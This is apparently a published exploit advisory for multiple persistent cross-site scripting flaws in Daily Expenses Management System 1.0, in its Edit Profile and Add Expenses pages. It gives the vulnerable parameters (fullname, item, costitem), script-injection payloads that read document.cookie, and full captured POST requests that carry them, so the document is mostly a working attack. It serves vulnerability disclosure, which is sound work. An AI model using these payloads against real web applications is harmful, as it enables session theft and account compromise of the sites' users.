Daily Expenses Management System 1.0 Cross Site Scripting

`# Exploit Title: Daily Expenses Management System 1.0 - Multiple Persistent Cross-Site Scripting  
# Date: 2020-8-4  
# Exploit Author: Edo Maland  
# Vendor Homepage: https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html  
# Software Link: https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html  
# Version: 1.0  
# Tested on: XAMPP / Windows 10  
  
  
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# Vulnerability Details  
# Feature: Edit Profile  
# Description : A persistent cross-site scripting vulnerability exists within the 'Edit Profile' functionality of application.   
# Vulnerable Parameter : fullname  
  
# POC  
  
Go to url : https://example.com/dets/user-profile.php  
Payload :   
- <img src=xss onerror=alert(document.cookie)>  
  
# Burp Requests  
  
POST /dets/user-profile.php HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: id,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 105  
Origin: https://example.com  
DNT: 1  
Connection: close  
Referer: https://example.com/dets/user-profile.php  
Cookie: PHPSESSID=m8d5bbejrmmtvnmm3va3htq8c1  
Upgrade-Insecure-Requests: 1  
  
fullname=<img src=xss onerror=alert(document.cookie)>&[email protected]&contactnumber=1313371337&regdate=2020-08-05+13%3A19%3A49&submit=  
  
  
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# Vulnerability Details  
# Feature: Add Expenses  
# Description : A persistent cross-site scripting vulnerability exists within the 'Add Expenses' functionality of application.   
# Vulnerable Parameter :  
- item  
- costitem  
  
# POC  
  
Go to url : https://example.com/dets/add-expense.php  
Payload :   
- <img src=xss onerror=alert(document.cookie)>  
- <script>alert(1337)</script>  
  
# Burp Requests  
  
POST /dets/add-expense.php HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: id,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 144  
Origin: https://example.com  
DNT: 1  
Connection: close  
Referer: https://example.com/dets/add-expense.php  
Cookie: PHPSESSID=m8d5bbejrmmtvnmm3va3htq8c1  
Upgrade-Insecure-Requests: 1  
  
dateexpense=1337-11-11&item=%3Cimg+src%3Dxss+onerror%3Dalert%28document.cookie%29%3E&costitem=%3Cimg+src%3Dxss+onerror%3Dalert%282%29%3E&submit=  
`